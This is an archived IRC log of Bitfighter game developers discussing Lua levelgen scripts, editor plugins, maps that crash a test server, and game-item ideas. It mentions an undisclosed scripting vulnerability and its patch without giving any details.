20:52:21bobdaduckxD
20:53:11kaenrofl
20:53:46bobdaduckWhy do your wives never play bitfighter?
20:54:33raptormine would rather spin wool
20:54:35kaenprobably the graphic violence
20:54:48kaenor the adult themes
20:54:51bobdaduckxD'
20:55:33kaenmy girl likes tending virtual farms better
20:55:53kaenor making cabins with popsicle sticks.
20:56:04kaenthere's already three on my counter...
20:56:11bobdaduckfun
20:56:33raptorbobdaduck: please tell me you'll be fixing your script before giving it to Quartz
20:56:39bobdaducklol
20:56:55bobdaduckWhy would I do that?
20:57:42raptorbecause if a level were to be played with several players... i could see it really, really slowing down and causing *real* lag for most of gameplay
20:58:11bobdaduckyeah yeah yeah
20:58:13bobdaduckfixed it
20:58:29kaenwell, shame on the admin for letting someone run an arbitrary levelgen on their server
20:58:37bobdaduckxD
20:58:38kaenwhich reminds me to take down my uploader form
20:58:46raptorhaha
20:59:09bobdaduckWhich uploader form?
20:59:15kaenthe only uploader form
20:59:34kaenI discovered a critical vulnerability in levelgen scripts (which I won't discuss specifics of)
20:59:53kaenand so I'm afraid I have to lock down which levelgens get run.
21:00:02bobdaduckThat they can write to files?
21:00:08kaenmuch worse than that
21:00:12raptoroh so much more..
21:00:13bobdaduckAren't I like, the only person who even knows about your uploader form?
21:00:31kaenmistakes get made. lips get loose
21:00:32raptorkaen: have you thought about disallowing levels/levelgens if they're flagged for some reason?
21:01:01kaencould you explain a bit more raptor?
21:01:26raptorwe had the idea of letting people 'flag' levels for whatever reason, right?
21:01:30bobdaduckhttp://pastie.org/7319620 - better?
21:01:31kaenoh on the level db
21:01:33kaengood idea
21:01:38raptormaybe if flagged level is undownloadable until reviewd
21:01:42raptorcant spel..
21:01:50kaenbobdaduck it's better for everyone involved if you don't have access to that. if something were to happen (your fault or otherwise) there would be only place to put my suspicion
21:01:56kaenand I like you too much for that to be a possibility
21:02:06raptorheh
21:02:13raptor code reviews bobdaduck
21:02:15kaenraptor, that's a good idea.
21:02:38bobdaduckOr at least put giant flashing lights all over it and be like "DOWNLOAD AT YOUR OWN RISK SOMEONE FLAGGED THIS"
21:02:54bobdaduckAnd normal users can only flag like two a day...?
21:03:20raptorif a normal user flags for abuse, they get put in the corner?
21:03:29raptori mean abuses the flagging capability
21:03:30kaenhmm actually I think I'll just patch my servers with my proposed fix and restore the uploader
21:03:42kaenraptor, yes that's how I'd prefer to handle it
21:09:09raptorok bobdaduck , that's... better-ish
21:10:29bobdaduckbetterish?
21:11:12raptorit's much better performance wise, but you'll still have several Timer chains being triggered at once if there are more than 1 ship entering the zone
21:11:19raptorbut never more than the number of players on a map
21:11:34bobdaduckThat's semi-intentional
21:11:38raptorok
21:11:44raptorwell, it's better than before
21:11:55bobdaduckbut before was so fun! xD
21:12:14raptorso if 5 players enter, 5 timer chains start - but if 4 leave the zone, then all 5 are operating on the 1 left?
21:12:41bobdaduckyeah
21:13:14bobdaducknever enough to keep them from moving though. Setting the timer to 1 you can still move
21:13:32raptorthat's because it actually can't go below 33.. :)
21:14:19bobdaduckWhat!
21:14:20bobdaduckwhy!
21:15:08raptorlevelgens and bots cannot tick faster than 30 frames per second
21:15:20raptorwhich is 33 ms smallest interval per tick
21:15:55raptorthat's also why the health pack is jumpy on your carnival level
21:17:02bobdaduckWhy can't they tick faster than 30?
21:17:32kaenbecause bobdaduck writes levelgen scripts.
21:17:39bobdaduckxD
21:18:00bobdaduckTHAT'S DISCRIMINATION.
21:18:06bobdaduckI'M CALLING MY LAWYER.
21:18:19raptors_bot used to go at maximum (possibly at 100 FPS)
21:18:41raptorit was part of a huge efficiency effort with Lua and bots for 017? I think
21:19:25Darrel Quit (Read error: Connection reset by peer)
21:20:07bobdaduckSpeaking as myself, I'm against arbitrary limits of any kind.
21:20:15bobdaduckSpeaking of
21:20:48raptorI didn't think bots needed to think faster than 30 fps
21:20:54bobdaduckQuartz brought up a valid complaint like last nightish, where the circle tool (ctrl;) can only make like, really small circles
21:20:56raptori almost chose 15
21:21:08raptorbobdaduck: really?
21:21:12bobdaduckwell they're not really small. But they need to be bigger
21:21:12raptortell me how
21:21:17bobdaduckand the circle tool has this stupid limit
21:21:20bobdaduckfor no reason whatsoever
21:21:29raptorbe specific!
21:21:37bobdaduckSo you have to make the circle and then scale it up with ctrl-shift-x
21:21:51raptoralso, tell quartz to open the plugin in a text editor, change what he wants, then restart bitfighter with it
21:22:07bobdaduck500 grid units is the biggest radius circle tool allows for
21:22:12raptorbecause it's Lua... plain text
21:22:34bobdaduckWhich is about 20 grid squares, or two big ones.
21:22:38raptorit's in the editor_plugins
21:22:39raptorfolder
21:23:16bobdaduckyeah sure.
21:23:21bobdaduckso uh, arbitrary limits WHY?
21:23:43raptorattempt at sanity - sometimes it fails
21:24:19raptorhuh, yeah, that's a dumb limit
21:24:35bobdaduckall are dumb limits
21:24:37kaenwe should just let people memory bomb themselves.
21:24:43kaenthey'll figure it out.
21:24:46bobdaduckseriously!
21:25:00bobdaduckchanging it to 50000
21:25:04raptorno, they'll come to us asking why our game is so stupid
21:25:13kaenthat was tongue-in-cheek
21:25:20raptor(I know) :)
21:25:35raptorand we'll respond: "Magic has limits, go back to school"
21:25:40bobdaducklol
21:26:30raptorbobdaduck: the idea of the editor plugins was to make them easy to edit and create
21:26:35kaenbobdaduck, imagine you're a new player building your first level. you spend some ridiculous amount of time perfectly aligning your speedzones and forcefields and all that, then go to add a circle. you type in (maybe on accident) some massive number and suddenly bitfighter locks up and destroys all of your work.
21:26:52raptorin fact, I bet Quartz could make some that would do certain tasks to make his life easier
21:27:08bobdaduckbut that's not even possible kaen. The circle tool is too simple.
21:27:13kaenokay
21:27:29bobdaduckAlso no new player in their right mind is using circle tool.
21:27:45kaenwell you'll just have to live with the fact that cars have seatbelts and bitfighter has protective limits.
21:28:25kaenbut you don't have to wear yours.
21:28:43bobdaduckGood point
21:29:04bobdaduckIf I really cared I would just pull out the bitfighter source and mod it to the point where it lets me do the things I want
21:29:44bobdaduck...Course that would probably break compatability and stuff and I don't have enough experience to do that anyway, but still!
21:36:37Watusimotokaen: as a short term fix to the vulnerability, you can set the offending libs to nil and they cannot be used
21:37:01kaenI just patched my server with the lua_open calls
21:37:08kaenworks like a champ and no more vulnerability
21:37:12Watusimotoand you can do that in the lua init file
21:37:14Watusimotook
21:37:16Watusimotogreat
21:38:20raptoryou'll want to really harden 'kaen test' more than normal... side effect of your anonymous upload service to the community :)
21:39:56BFLogBot Commit: 6afe0bc2846f | Author: buckyballreaction | Message: Increase arc radius limit for the editor draw_arcs plugin
21:39:57raptorthat's for you bobdaduck
21:40:08kaenthat's a good idea
21:42:06bobdaduckyayy
21:42:22bobdaduckDidn't I create an issue on the google bug list about increasing arbitrary limits?
21:42:28kaenbobdaduck do you know the names of the crashy maps?
21:42:38raptorserver aids
21:42:40bobdaduckWhy?
21:42:47kaen"server aids" ?
21:42:51kaenclassy as always
21:42:52bobdaducklol
21:44:19bobdaduckI just know awesomesauce 2.0
21:44:25bobdaduckand "you know you want to play this"
21:44:55bobdaduckOkay so I'm trying to make a simple plugin now
21:45:11kaenoh cool
21:45:12bobdaduckTo add single point items to the game.
21:45:19kaenhe overwrote RTS with a crashy map
21:45:22bobdaduckAnd I'm confused as knrl
21:45:47bobdaduckThere's two RTS
21:46:23kaenI'm like one step away from banning his ip
21:46:48kaenthere's a difference between constructively finding bugs and intentionally thwarting the fun of other users
21:46:55kaenand he is well beyond that line
21:46:58bobdaduckokay so there's three RTSs
21:47:08bobdaduckthe first one crashes
21:47:13bobdaduckthe second one is current
21:47:19bobdaduckand the third one is outdated.
21:48:18bobdaduckYou say its supposed to be "easy" to make new plugins?
21:48:27bobdaduckLike I am so confused
21:48:37raptorwell... that was the goal when Watusimoto implemented them...
21:49:20Watusimotoeasy!
21:49:21Watusimotoish
21:49:34Watusimotouse the curves tool as a template
21:49:39Watusimotogut it and add your own code
21:49:40bobdaduckThis is more confusing than source diving the actual C++ code
21:49:45bobdaduckThat's what I'm doing.
21:49:49raptorbobdaduck: it looks like you have two main parts:
21:49:50Watusimotodo you need a menu?
21:49:53raptorgetArgsMenu() to build out the menu
21:50:05raptorthen use main() to grab what's in the menu and run anything you want
21:50:25Watusimotoif you don't need a menu, getArgsMenu can just return nil, I think
21:51:04raptoroh... it uses plugin:addLevelLine() ?
21:52:11bobdaduckLet's see. I named one RTS
21:52:11bobdaduckAnother WALUIGI
21:52:11bobdaduckYou Want To Play This
21:52:22Watusimoto_ has joined
21:52:44raptorbobdaduck: what's an idea for a useful editor plugin?
21:53:05bobdaduckI'm trying to make one that adds the hidden items. Ship, energyItem, slipzone
21:53:21bobdaduckCan't figure out how to add a two-point item from the base
21:55:06Watusimoto Quit (Ping timeout: 260 seconds)
21:55:29Watusimoto_what does it mean "from the base"?
21:55:39bobdaduckusing draw_arcs as my base.
21:55:49bobdaduckSo much math that I can't even see
21:55:53bobdaduckor tell what's relevant to anything
21:56:44bobdaduckLike I would be better off starting from scratch and just guessing at what goes where
22:00:48raptorWatusimoto_: can we add objects via API with menu items? (instead of addLevelLine)?
22:01:24Watusimoto_we should be able to
22:02:43Watusimoto_bobdaduck: remove all the guts of the script and add the simplest thing you can; just create an object from a static point or two, and once you get that to work, make it fancier
22:03:04bobdaduckI haven't the slightest idea what you just said.
22:03:08bobdaduckBut I'm making progress.
22:04:19bobdaduckBy progress I mean I managed to crash the game.
22:06:08Quartzy has joined
22:06:34bobdaduckhttp://pastie.org/7320640
22:06:44QuartzyOOH WHAT'S THIS
22:07:05bobdaduckI'm trying to make a plugin that adds the hidden items (ship energyItem slipzone)
22:07:26Quartzyand circle
22:07:27Quartzylol
22:07:45bobdaduckshh
22:08:00raptorNO CIRCLE
22:08:02raptorman
22:08:05raptorbobdaduck!
22:08:14Quartzyhahaha
22:08:20QuartzyDude raptor everyone already knows about them.
22:08:34QuartzyLamp found them so then, yeah.
22:08:36raptorthat measn we need to kill them quickly
22:08:40raptoroh great
22:08:41bobdaduckIts okay though I think we convinced lamp and amgine that it crashes the game
22:08:49QuartzyYeah we did.
22:08:50QuartzyWhich is pretty much true...
22:08:58QuartzyIt rapes servers, anyway.
22:09:16bobdaduckSo anyway plugin crashes the game consistently.
22:09:30Quartzycool, maybe make your plugin not suck.
22:09:46bobdaduckThat's... Why I'm here...?
22:09:58Quartzyhttp://en.wikipedia.org/wiki/List_of_burn_centers_in_the_United_States
22:10:31bobdaduckThat was like the most retarded burn ever
22:10:35bobdaduckc'mon you can do better than that
22:10:41QuartzyNot really xD
22:11:23QuartzyTell yer sister to stop idling on kaen test I swear...
22:11:28QuartzyI'm trying to find the rest of the crash maps >_>
22:11:44bobdaduckxD
22:12:01raptorsegfault with plugin!
22:12:09bobdaduckSegfault?
22:12:17raptorhard crash
22:12:18bobdaduckOH MAN WE'RE GETTING INTO THE BIG-BOY ERRORS HERE
22:13:11bobdaduckyay!
22:13:15Quartzykaen, another crash map is called "AWESOME Map"
22:13:26kaenI super duper don't care
22:13:30bobdaduckWait, will fixing that take priority over fixing the forcefield snapping bug?
22:13:41kaenI've found a better solution.
22:14:28raptorWatusimoto_: looks like levelgen:addItem() doesn't work in a plugin
22:14:49bobdaduckI don't use levelgen:addItem()?
22:14:57Quartzykaen another one is "Awesomesauce 2.0"
22:15:11Watusimoto_great
22:15:17kaenjoin kaen test and show them to me?
22:15:35kaenthere we go.
22:15:38Watusimoto_could it be that the levelgen object doesn't exist?
22:15:47QuartzyUmmm okay, sorry for trying to help you find them.
22:15:48bobdaduckIt crashes on every single one...
22:15:53Watusimoto_if so, it might have a different, more logical name in the editor
22:15:55Watusimoto_like Editor
22:16:17raptorhmmm
22:16:32raptoralso a lua script crash will crash the game with a segfault...
22:16:35raptorin the editor
22:16:43raptoradding to running list... sigh
22:18:33Quartzy Quit (Quit: Page closed)
22:18:44Watusimoto_after I get done with the ui stuff, I'll tackle some running list items
22:18:50Watusimoto_try to whack that baby back down to size
22:19:09Watusimoto_there should be no more than 50-60 items on it at any time, i think
22:19:22raptorhmmm... only levegen: has addItem
22:19:28raptoreditor: has addLevelLine
22:19:30raptorsadness
22:20:00Watusimoto_sounds like I never got to that...
22:20:14Watusimoto_in all the lua mayhem and race to release
22:20:33raptoryeah... bobdaduck plugins aren't really ready for wide spread building, unlike levelgens
22:20:50raptorbut you can hack around it with editor:addLevelLine
22:21:41bobdaduckuhhhhh
22:22:05bobdaduckI have no idea what you're talking about. My plugin is like 10 lines long and doesn't even use addItem()
22:33:09raptorbobdaduck: http://pastie.org/7320880
22:33:54kaenso wildcard bans only work if you wildcard the whole IP
22:34:00kaencan't do just the last byte
22:34:01raptorWatusimoto_: I think we should remove Circle/CircleSpawn for good, unless you can think of a reason to keep them around
22:34:13raptorno ban by octect?
22:34:19raptoroctet
22:34:22kaensays the line is invalid if I do
22:34:23raptorhuh
22:34:28bobdaduckBecause bobdaduck likes them
22:34:28raptorsadness
22:34:33Watusimoto_I can't think of a reason, unless we think of a way to make them unlame
22:34:34bobdaduckAnd uses them in at least one legitimate level
22:34:36kaenmost supreme sadness
22:34:51raptorWatusimoto_: I think Circles have a fundamental flaw
22:34:56raptornetwork heavy
22:34:58Watusimoto_which one?
22:35:00Watusimoto_yes
22:35:18Watusimoto_what if they dodged and killed you when they touched you?
22:35:23bobdaduckI use them in one serious level, so don't remove them pls
22:35:51Watusimoto_then you could use only a few of them
22:36:07bobdaduckif they dodged and killed you then they're just a sentient asteroid and asteroids aren't good for gameplay anyway.
22:36:07raptormaybe if we took out the spawn
22:36:39raptori don't know..
22:36:45Watusimoto_would that break bdd's level?
22:36:52bobdaduckI add them via levelgen
22:36:55raptorbobdaduck: you were expressly told NOT to use them in *anything*
22:37:20Watusimoto_well, we can start by removing the spawn
22:37:39bobdaduckYeah yeah yeah. But I'd rather not create a Robbie the Resource spawner.
22:37:54Watusimoto_or hell, if it's only one level that breaks, we can kill it altogether
22:38:01bobdaduckWhat is the huge problem with circles that we have to remove them?
22:38:04raptorMaybe just comment the code out for it all for now? Also I'm suprised that they can be even added via levelgen...
22:38:08bobdaduckLike, they're not hurting anything?
22:39:01raptorI have had the itch for a new game item, but I'm not sure what..
22:39:38bobdaducksuns
22:40:18bobdaduckAnd of course this talk of removing circles is just making me further resent engineer
22:40:44Watusimoto_a super turret?
22:40:56bobdaduckAlready doable
22:41:10Watusimoto_a cannon for inside cores?
22:41:31bobdaduckHow about suns?
22:42:17Watusimoto_we could try that idea of having some sort of power boost object that gets left behidnd for other players to pick up when you die
22:42:32bobdaduck...Like energy items?
22:42:33raptorI'm thinking we need to nuke Circles before they get out of hand, I'll deal with bobdaduck's fury
22:42:38raptor:)
22:42:44bobdaduck.....
22:42:44Watusimoto_go for it!
22:42:58Watusimoto_nuke em from orbit...
22:43:09bobdaduck has left
22:43:23Watusimoto_quick, do it now!
22:43:49raptorheh
22:44:24Watusimoto_how about some sort of rotating wall
22:44:30Watusimoto_ever play ladybug?
22:44:36raptorno...
22:44:44Watusimoto_probably won't work
22:44:50raptor(I hope I didn't upset bobdaduck.. did he leave in anger?)
22:46:06raptorwhat about the Worm thingy from robotron?
22:46:27Watusimoto_not sure
22:46:29Watusimoto_http://www.youtube.com/watch?v=B147wGBkxLA
22:46:44Watusimoto_I can't play the video, but there are a dozen on every level
22:46:50Watusimoto_worms would be good
22:47:28raptorpacman?
22:47:42Watusimoto_a pacman that gobbles up your ship?
22:47:51raptorthat's what ladybug looks like..
22:48:01Watusimoto_it's way better than pacman
22:48:18raptorbut more complex
22:48:28Watusimoto_you get fruits and spell words and operate the doors, and there are all sorts of insects
22:49:36raptorhuh
22:49:43raptordo the walls not rotate after a while?
22:49:53Watusimoto_no they always rotate
22:50:46Watusimoto_or what about a smoosher that occasionally smooshes anything in its way... something that might live in a hallway
22:51:01Watusimoto_like an elevator door
22:52:55raptorwillful suspension of disbelief (in a space game)
22:55:37Watusimoto_it could look like the garbage compactor from the death star
22:56:35Watusimoto_a high-speed zone
22:56:56Watusimoto_bounce-wall
23:04:11raptorspace monster
23:07:08SolumnMus has joined
23:07:51SolumnMusraptor: How do I connect to a wireless network on openSUSE 11.1?
23:08:02raptor11.1 ??
23:08:06raptorthat's quite old
23:08:16SolumnMusPowerPC
23:08:17raptorlet me think... what desktop are you using?
23:08:26SolumnMusGNOME
23:08:33raptorlaptop?
23:08:40SolumnMusYes
23:08:52SolumnMusiBook G4
23:09:27raptoris the 'NetworkManager' applet in the tray bar?
23:09:28fordcars has joined
23:09:46raptortrying to remember how it was that long ago..
23:09:59SolumnMusOne sec. It's booting
23:11:46SolumnMusI have a Network Manager shortcut under "Computer"
23:12:16raptorhere is a guide to make sure it is enabled: http://www.linuxtopia.org/online_books//opensuse_guides/opensuse11.1_startup_guide/sec_nm_activate.html
23:12:52kaenI can't seem to generate a zone via levelgen
23:13:13raptorthere are two ways for the subsystem to connect to a network: via 'NetworkManager' or the older 'ifup' way. Laptops should probably use 'NetworkManager', and both can be set in the yast -> network control panel
23:14:30kaenderp nevermind
23:14:55fordcarsnice logger raptor!
23:15:08SolumnMusNow it's telling I don't have any network devices available...
23:15:27fordcarskaen: You have sound :D
23:16:08SolumnMusI don't have any sound on this install of openSUSE either...
23:16:28fordcarsheg
23:16:32fordcars*heh
23:17:02SolumnMusNo wifi and no sound...
23:17:40kaenokay I can't dup "ghost (neutral) ship touching a levelgen'd zone (goalzone did the job)"
23:18:07kaenother than that kaen test is a bit hardened
23:18:43raptoryay!
23:18:47kaenhowever
23:18:52SolumnMusI'm going to #opensuse-ppc
23:19:05kaenadding a goalzone constructed with no parameters gives me an "invalid packet" error
23:19:07raptorSolumnMus: that is an old, old version of openSUSE..
23:19:26kaenhttp://pastie.org/7321255
23:19:29raptoryuk
23:19:47raptoroh...
23:19:49kaenwhich is harder to trace than the others (which segfaulted)
23:19:52SolumnMusIt's the latest working for PPC
23:20:06raptoruhh... I think there is a lot of game logic that depends on knowing goalzones exist before anything
23:20:46kaenI'm not sure I understand.
23:21:11raptorso adding via levelgen I would expect to fail. I think each gametype that uses goal zones has it's own logic of what to do
23:21:34raptorlike retrieve would need to know how many zones there are so it can tell if all are filled
23:23:48raptorok, heading home. back later tonight
23:24:36kaennope. collision detection assumes zones have points
23:24:45kaenjust needed a size check before traversing the points.
23:24:53raptorno i mean scoring touchdowns
23:24:56SolumnMus Quit (Quit: SolumnMus)
23:25:20raptorlike the level is set up with knowing that 5 zones == touch down
23:25:29raptorwhen the game starts
23:25:39raptorand I shoudl be leaving... sorry I'm not much more help
23:25:42raptorbye!
23:25:43kaenthat's okay
23:25:46kaenlater
23:25:51raptor Quit ()
23:47:06kaenWatusimoto_ how do you want to deal with teleporter delay?
23:47:20kaenset a minimum threshold or nix it completely?

Index Search ←Prev date Next date→

These logs were automatically created by BFLogBot on irc.freenode.net.